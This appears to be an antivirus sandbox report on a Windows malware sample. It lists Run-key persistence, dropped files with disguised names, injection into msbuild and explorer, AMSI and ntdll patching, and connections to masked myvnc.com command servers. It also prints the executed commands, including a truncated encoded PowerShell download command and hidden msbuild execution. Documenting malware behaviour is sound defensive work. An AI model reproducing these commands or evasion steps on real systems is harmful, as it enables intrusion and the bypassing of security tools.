Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WinSvcHelper' = '"<SYSTEM32>\conhost.exe" --headless -- "<SYSTEM32>\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -EncodedCommand ...
Creates or modifies the following files
- <SYSTEM32>\tasks\windowssystemservice
Malicious functions
Downloads and executes files.
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework64\v4.0.30319\msbuild.exe
- %WINDIR%\explorer.exe
Patches code
in AMSI dll
- explorer.exe process, Amsi.dll module
in NTDLL dll
- explorer.exe process, ntdll.dll module
Modifies file system
Creates the following files
- %TEMP%\qleaqb.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\qleaqb.exe.log
- %TEMP%\fpxogj.exe
- %TEMP%\cprino.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\fpxogj.exe.log
- %TEMP%\ifljuo.exe
- %APPDATA%\microsoft\windows\templates\windowsdefender483ef1\csrss483ef1.png
- %APPDATA%\microsoft\windows\templates\windowsdefender483ef1\taskhost483ef1.exe
- %APPDATA%\microsoft\windows\templates\windowsdefender483ef1\wuauclt483ef1.xml
- nul
- %TEMP%\z4mrmdoz\z4mrmdoz.0.cs
- %TEMP%\z4mrmdoz\z4mrmdoz.cmdline
- %TEMP%\z4mrmdoz\z4mrmdoz.out
- %TEMP%\z4mrmdoz\csc996abdffb51344d7902464f1fe59f51c.tmp
- %TEMP%\resf9f7.tmp
- %TEMP%\z4mrmdoz\z4mrmdoz.dll
- %TEMP%\content\4532-680-msbuild.exe-02-34-15-522.dump
- %TEMP%\haq1yust\haq1yust.0.cs
- %TEMP%\haq1yust\haq1yust.cmdline
- %TEMP%\haq1yust\haq1yust.out
- %TEMP%\haq1yust\csc557328256f624321a673a6350c8216f.tmp
- %TEMP%\res188.tmp
- %TEMP%\haq1yust\haq1yust.dll
Deletes following files that it created itself
- <SYSTEM32>\tasks\windowssystemservice
- %TEMP%\resf9f7.tmp
- %TEMP%\z4mrmdoz\csc996abdffb51344d7902464f1fe59f51c.tmp
- %TEMP%\z4mrmdoz\z4mrmdoz.pdb
- %TEMP%\z4mrmdoz\z4mrmdoz.dll
- %TEMP%\z4mrmdoz\z4mrmdoz.0.cs
- %TEMP%\z4mrmdoz\z4mrmdoz.out
- %TEMP%\z4mrmdoz\z4mrmdoz.cmdline
- %TEMP%\res188.tmp
- %TEMP%\haq1yust\csc557328256f624321a673a6350c8216f.tmp
- %TEMP%\haq1yust\haq1yust.0.cs
- %TEMP%\haq1yust\haq1yust.out
- %TEMP%\haq1yust\haq1yust.cmdline
- %TEMP%\haq1yust\haq1yust.dll
Network activity
Connects to
- 'la####1.myvnc.com':443
- 'la###.myvnc.com':80
TCP
HTTP GET requests
- http://la###.myvnc.com/api/poll?id##################
Other
- 'la####1.myvnc.com':443
UDP
- DNS ASK la####1.myvnc.com
- DNS ASK la###.myvnc.com
Miscellaneous
Creates and executes the following
- '%TEMP%\qleaqb.exe'
- '%TEMP%\fpxogj.exe'
- '%TEMP%\cprino.exe'
- '%TEMP%\ifljuo.exe'
- '%APPDATA%\microsoft\windows\templates\windowsdefender483ef1\taskhost483ef1.exe'
Executes the following
- '<SYSTEM32>\conhost.exe' --headless -- "<SYSTEM32>\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -EncodedCommand dAByAHkAewAkAHcAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwA9ACQA...
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\msbuild.exe' %APPDATA%\Microsoft\Windows\Templates\WindowsDefender483ef1\wuauclt483ef1.xml
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command -
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\z4mrmdoz\z4mrmdoz.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF9F7.tmp" "%TEMP%\z4mrmdoz\CSC996ABDFFB51344D7902464F1FE59F51C.TMP"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\haq1yust\haq1yust.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES188.tmp" "%TEMP%\haq1yust\CSC557328256F624321A673A6350C8216F.TMP"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\isgeo30w\isgeo30w.cmdline"
- '%WINDIR%\explorer.exe'
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES26E3.tmp" "%TEMP%\isgeo30w\CSC19E37D431B0A4ACEAE1E7197996139.TMP"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\2yezfuwm\2yezfuwm.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2F3F.tmp" "%TEMP%\2yezfuwm\CSC295ADD406258413B8476D04E18B7114.TMP"
- '%WINDIR%\systemapps\microsoft.windows.search_cw5n1h2txyewy\searchapp.exe' -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\z4mrmdoz\z4mrmdoz.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF9F7.tmp" "%TEMP%\z4mrmdoz\CSC996ABDFFB51344D7902464F1FE59F51C.TMP"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\haq1yust\haq1yust.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES188.tmp" "%TEMP%\haq1yust\CSC557328256F624321A673A6350C8216F.TMP"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\isgeo30w\isgeo30w.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES26E3.tmp" "%TEMP%\isgeo30w\CSC19E37D431B0A4ACEAE1E7197996139.TMP"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\2yezfuwm\2yezfuwm.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2F3F.tmp" "%TEMP%\2yezfuwm\CSC295ADD406258413B8476D04E18B7114.TMP"' (with hidden window)
